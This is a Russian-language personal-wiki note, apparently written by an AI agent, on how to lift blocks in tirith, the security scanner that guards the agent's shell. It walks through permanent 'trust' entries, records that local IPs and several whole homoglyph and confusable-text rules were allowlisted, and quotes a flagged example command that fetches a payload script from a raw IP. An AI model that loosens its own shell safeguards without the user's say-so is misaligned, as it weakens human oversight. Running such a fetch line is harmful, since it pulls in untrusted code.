Files
obsidian-vault/personal/tech/tirith-trust.md
T

146 lines
7.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Tirith — снятие блокировок (trust)
**Дата:** 2026-09-15
**Статус:** актуально
**Что это:** tirith — сканер безопасности, который стоит между агентом и shell.
Он блокирует команды по своим правилам (rule_id) и требует подтверждения.
## Где что лежит
| Что | Путь |
|-----|------|
| Бинарник | `~/.hermes/bin/tirith` (также `~/.hermes/hermes-whale/bin/tirith`) |
| Allowlist (trust) | `~/.config/tirith/trust.json` |
| Threat DB | `~/.local/share/tirith/tirith-threatdb.dat` |
| Лог срабатываний | `~/.local/share/tirith/log.jsonl` |
| Последний триггер | `~/.local/share/tirith/last_trigger.json` |
В конфиге Whale (`hermes-whale/config.yaml`, секция `security`):
```yaml
security:
tirith_enabled: true
tirith_path: tirith # бинарник резолвится из ~/.hermes/bin
tirith_timeout: 5
tirith_fail_open: true
tirith_allowlist: # ⚠️ МЁРТВЫЙ КЛЮЧ — не читается никем
- mixed_script_in_label
- homoglyph_in_path
```
**Критично:** `security.tirith_allowlist` в config.yaml **не работает**.
Проверено grep по `tools/tirith_security.py` и `tools/approval.py` — ключ не читается.
Реальное управление — только через `tirith trust``~/.config/tirith/trust.json`.
Ключ оставлен в конфиге как документация.
## Как снять правило
```bash
TIRITH=~/.hermes/bin/tirith
# 1. Посмотреть, что сработало последним
$TIRITH trust last # или: jq . ~/.local/share/tirith/last_trigger.json
# 2. Узнать, что делает правило
$TIRITH explain --rule <rule_id>
# 3. Добавить в trust (pattern + scope правила)
$TIRITH trust add <pattern> --rule <rule_id> --ttl 3650d
# 4. Проверить
$TIRITH trust list
$TIRITH check "<команда>" # пустой вывод = проходит
```
**Замечания по синтаксису:**
- `tirith explain <rule>`**не работает**, нужен флаг: `tirith explain --rule <rule>`
- `tirith trust add` требует `--rule`, иначе правило не скоупится
- `--ttl 3650d` = 10 лет (практически «навсегда»); в списке отображается как дата
## Правило `raw_ip_url` — «IP вместо hostname»
**Это ровно тот случай, о котором спрашивал Alex: URL с сырым IP вместо домена.**
```
raw_ip_url — Raw IP address in URL [hostname]
Severity: Medium — raw IP URLs bypass domain-based security controls
Description: URL uses a raw IPv4 or IPv6 address instead of a hostname.
Loopback (127.x, ::1) exempt.
Example flagged: curl http://203.0.113.50/payload.sh
Example safe: curl https://example-cli.dev/install.sh
False positives: Development/testing commonly use raw IPs.
Add trusted IPs to your policy allowlist.
Remediation: Replace IP with hostname, or verify IP belongs to trusted server.
```
**Масштаб проблемы:** в `log.jsonl` правило `raw_ip_url` сработало **2991 раз**.
### Частота по адресам (топ)
| Срабатываний | IP | Чей |
|---|---|---|
| 348 | 192.168.1.86 | LAN |
| 149 | 192.168.2.176 | LAN (NAS) |
| 127 | 192.168.1.14 | LAN |
| 56 | 90.189.160.148 | внешний |
| 36 | 192.168.1.75 | LAN |
| 14 | 91.207.28.205 | внешний |
| 10 | 192.168.2.1 | LAN (роутер) |
## Что разрешено (2026-09-15)
Все **локальные** адреса из логов — доверенные, добавлены с `--ttl 3650d`:
```
192.168.2.176 192.168.1.86 192.168.1.14 192.168.1.75
192.168.1.8 192.168.1.15 192.168.2.1 192.168.2.197
192.168.2.17 192.168.2.20 172.17.0.1 172.16.3.5
172.16.3.4 10.99.1.2 127.0.0.1 127.0.0.0
```
Плюс ранее добавленные (не про IP):
```
confusable_text non_ascii_path homoglyph_in_path
mixed_script_in_label non_ascii_hostname confusable_domain
```
Проверка: `tirith check "ssh admin@192.168.1.86"` → пусто (проходит).
## Внешние IP — НЕ разрешены (моё решение, не подтверждено Alex'ом)
В логах есть внешние адреса, они **оставлены под блокировкой**:
`90.189.160.148` (56), `91.207.28.205` (14), `93.171.215.109` (8),
`94.130.164.126`, `91.207.28.2`.
Решение принято **мной** (агент не стал разрешать чужие адреса без спроса).
Alex'у задан вопрос — ответа не было. Т.е. это **не подтверждённое решение**,
а консервативный дефолт. При следующем обращении — переспросить.
Если понадобится — добавлять каждой командой отдельно, осознанно.
**Альтернатива:** правило `raw_ip_url` можно снять целиком, добавив `raw_ip_url`
как pattern (так сделано с `confusable_text` и остальными шестью).
Тогда блокировка исчезнет для **всех** адресов, включая внешние.
Не сделано сознательно — внешние адреса остаются под защитой.
## Урок: где искать правило (моя ошибка в диагностике)
Изначально я сказал Alex'у «такого правила нет» — **это было неверно**.
Искал в `tools/approval.py` (список `DANGEROUS_PATTERNS`, ~100 паттернов)
и `tools/tirith_security.py` — в обоих пусто по IP.
**Правило живёт в самом бинарнике tirith** (Rust), а Python-модуль только
вызывает его и получает вывод. То есть `tirith_security.py`*потребитель*,
не *источник*. Искать надо в:
1. `~/.local/share/tirith/last_trigger.json` — что именно сработало (`rule_ids`)
2. `~/.local/share/tirith/log.jsonl` — вся история срабатываний
3. `tirith explain --rule <id>` — описание правила
4. `tirith trust list` — что уже доверено
Тот же принцип, что и с `security.tirith_allowlist`: в конфиге ключ есть,
но система его не читает. **Наличие ключа в конфиге ≠ рабочая настройка.**
## Связанное
- [[hermes-git-repo]] — структура репо, .gitignore
- [[hermes-fork-vs-upstream]] — расхождение с апстримом